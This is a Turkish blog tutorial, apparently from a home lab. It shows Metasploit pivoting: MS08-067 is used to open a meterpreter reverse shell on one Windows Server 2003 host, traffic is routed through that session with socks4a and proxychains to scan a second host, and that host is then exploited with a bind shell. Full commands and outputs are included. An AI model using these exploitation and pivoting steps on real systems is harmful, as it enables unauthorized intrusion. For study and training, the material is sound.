Ortam
gereksinimleri:
VMware Workstation
BackTrack 5
Windows Server 2003 SP1
Ortam
hazırlıkları:
VMware workstation üzerinde bir adet
BackTrack, iki adet Windows Server 2003 SP1 makinesi kuruldu. Kurban-1 makinesi
olarak kullanılacak 2003 server’lardan biri iki network interface'li olacak
şekilde ayarlandı. Virtual network editor üzerinden 10.10.10.0/24 networku tanımlanarak
iki farklı network elde edilmiş oldu. Son durumda Saldırgan makinesinin sadece
Kurban-1 makinesine erişiminin olduğu test edilerek senaryo üzerinde
çalışılmaya başlandı.
Amaç:
Hedef network’te bulunan Kurban-1 makinesi
ele geçirildikten sonra Kurban-2 makinesi üzerinde nessus ve nmap taramalarının
yapılıp, bulunan zafiyetlere göre
Kurban-2 makinesinin ele geçirilmesidir.
Güvenlik denetimlerinde ele geçirilen bir
makine coğu zaman yeterli gelmemektedir. Bu yüzden aynı networkte bulunan ama erişilemeyen
makineler üzerinde çalışmak gerekebilir. Bu gibi durumlarda meterpreter pivoting
yöntemi imdadimiza yetişmektedir. Peki pivoting yöntemi bize ne sağlıyor ve
nasıl çalışıyor?
Pivot terimi özellikle spor oyunlarında çok
kullanılmaktadır. Örneğin basketbolda pivot, pota altında duran genellikle uzun
boylu oyuncular icin kullanılmaktadır. Burada pivotun görevi diğer oyuncuların
potaya erişemedikleri zamanlarda araya girip topu potaya atmaktır. Görüldüğü gibi basketbolda olan durum bizim
sistemlerimiz içinde geçerlidir. Kurban-1 makinesi pivot görevini üstlenerek
bizi diğer hedeflere taşımaktadır. Şimdi bu işlemlerin nasıl yapıldıgını sırasıyla
inceleyelim.
NOT: Kurban-1 makinesi üzerindeki
zafiyetler nessus aracı kullanılarak bulundu. Bu kısım bu yazıda gösterilmemiştir.
Öncelikle Kurban-1 makinesine nessus
taraması sonucu bulduğumuz ms08_067 zafiyetini kullanarak meterpreter baglantısı
kuruyoruz..
root@bt:~# msfconsole
msf
> use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD =>
windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 192.168.1.2
LHOST => 192.168.1.2
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.42
RHOST => 192.168.1.42
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on
192.168.1.2:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 - Service Pack
1 - lang:Unknown
[*] We could not detect the language pack,
defaulting to English
[*] Selected Target: Windows 2003 SP1
English (NX)
[*] Attempting to trigger the
vulnerability...
[*] Sending stage (752128 bytes) to
192.168.1.42
[*] Meterpreter session 1 opened
(192.168.1.2:4444 -> 192.168.1.42:1030) at 2012-06-22 15:16:57 -0400
meterpreter
>
Kurban-1 makinesine meterpreter ile oturum
açtık. Bu noktadan sonra Kurban-2 makinesine erişmek istiyoruz. Tüm bu
işlemleri mevcut oturum üzerinden gerçekleştireceğiz. Background komutu ile mevcut oturumu arka planada çalışır durumda
tutarak pivoting için gerekli adımlarla devam edeceğiz.
meterpreter
> background
[*] Backgrounding session 1...
Burada dikkat edilmesi gereken nokta
session ID`sidir. Bu session ID (1) üzerinden Kurban-2 makinesine doğru bir route yazacağız. 10.10.10.0/24 networku
route listesinde olmayan saldırgan için gerekli routingler yazıldıktan sonra session 1 üzerinden Kurban-2 makinesine
erişmiş olacağız.
10.10.10.0/24 networkunu route add komutu ile ekliyoruz. Burada
komutun sonunda yer alan 1; Kurban-1
makinesine açmış olduğumuz session ID’sidir. Kısaca 10.10.10.0/24 networku için mevcut oturumu kullan diyoruz.
msf exploit(ms08_067_netapi) > route add 10.10.10.0 255.255.255.0 1
[*] Route added
Bu noktadan sonra Kurban-2 makinesinde nmap
ve nessus çalıştırmak için yöntemler arıyoruz.
Yapmak istediğimiz temel şey lokal makinemizde
çalıştırdığımız araçların doğrudan tunel üzerinden Kurban-2 makinesine erişmesidir.
Durum böyle olunca akla ilk olarak proxy
kullanmak geliyor. Metasploit üzerinde yardımcı modül olarak gelen Socks4 proxy ile saldırgan üzerinden
yönlendirilen TCP bağlantıları mevcut oturum ile hedefe gönderiliyor.
Peki saldırgan makinesi üzerinde çalışan
nmap ve nessus gibi araçları Socks4’e nasıl yönlendireceğiz? Burada da proxychains tool’u bizden yardımını
esirgemiyor.
İlk once Metasploit üzerinde Socks4
konfigurasyonunu yapalım.
msf exploit(ms08_067_netapi) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > show options
Module options (auxiliary/server/socks4a):
Name Current Setting Required
Description
---- --------------- --------
-----------
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on.
Burada default port olarak 1080 görüyoruz.
Ve run komutu ile aktif hale getiriyoruz.
msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server
[*] Stopping the socks4a proxy server
Şimdi sıra geldi proxychains konfigurasyonuna.
Yeni bir terminal açarak proxychains.conf dosyasını
bir editor yardımıyla açıyoruz. Burada vi kullanılmıştır.
socks4 127.0.0.1 1080
satırını ekliyoruz. Sadece port numarası farklı olabilir. Onuda 1080 olarak
düzeltiyoruz.
root@bt:~# vi /etc/proxychains.conf
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4 127.0.0.1
1080
Artık nmap’i proxychains ile Kurban-2
makinesi için çalıştırabiliriz.
root@bt:~# proxychains nmap -sT -P0 -p445 10.10.10.128
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 5.51 ( http://nmap.org ) at
2012-06-22 21:13 EDT
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.128:445-<--timeout
Nmap scan report for 10.10.10.128
Host is up (15s latency).
PORT
STATE SERVICE
445/tcp closed microsoft-ds
Nmap done: 1 IP address (1 host up) scanned
in 15.20 seconds
Görüldüğü gibi erişimimiz olmayan Kurban-2
makinesini nmap ile taramayı başarabildik. Simdi nessus ile zafiyet tarama
işlemlerini yapalım. Yine aynı yöntemle proxychains
ile nessus servislerini baslatiyoruz. Bu sayede nessus`u çalıştırdığımızda
proxychains sayesinde mevcut meterpreter oturumu üzerinden hedef makineye doğru
tarama baslayacaktır.
root@bt:~# /etc/init.d/nessusd stop
Shutting down Nessus : .
root@bt:~#
proxychains /etc/init.d/nessusd start
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nessus : .
Nessus web ara yüzünden hedef makineye
doğru tarama işlemini başlatabiliriz.
Görüldüğü gibi başarılı bir şekilde
10.10.10.128 makinesini tarayarak raporu elde ettik.
Dikkat:
Bu arada nessus ile tarama başlatmadan önce
seçtiğimiz scan policy`nin altında bazı değişiklikler yapmamız gerekiyor.
Socks4 proxy tunneling ile sadece TCP paketleri iletildiği icin policy
konfigurasyonu altında Ping Host
seçeneğini disable etmemiz
gerekiyor. Aksi taktirde nessus ile tarama yapılamayacaktır.
Nessus ile Kurban-2 makinesini tarama
yapabildiğimize göre çıkan zafiyetlere göre Kurban-2 makinesine de meterpreter
bağlantısı kurabiliriz. Yine ms08_067 zafiyetini kullanarak oturum açmaya çalışacağız.
Burada dikkat edilmesi gereken bir nokta reverse_tcp payload`unu kullanamamizdir. Reverse_tcp
payload`u ile trafik, Kurban-2 makinesi üzerinden başlatılmaktadır. Kurban-2
makinesinin routing tablosunda 192.168.1.0/24 networku olmadığı için oturum
başlatılamayacaktır. Bu yuzden bind_tcp
payload`unu çalıştıracağız.
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp
msf exploit(ms08_067_netapi) > set RHOST 10.10.10.128
RHOST => 10.10.10.128
msf exploit(ms08_067_netapi) > set LPORT 4449
LPORT => 4449
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 - Service
Pack 1 - lang:Unknown
[*] We could not detect the language pack,
defaulting to English
[*] Selected Target: Windows 2003 SP1
English (NX)
[*] Attempting to trigger the
vulnerability...
[*] Sending stage (240 bytes)
[*] Command shell session 2 opened (Local
Pipe -> Remote Pipe) at 2012-06-22 15:23:50 -0400
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\system32>
Bingooo.. Kurban-2 makinesinede böylelikle
erişim saglamış olduk. Ipconfig yazarak doğruluğunu test edelim.
C:\WINDOWS\system32>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix .
: localdomain
IP
Address. . . . . . . . . . . . : 10.10.10.128
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
-GG
0 comments:
Yorum Gönder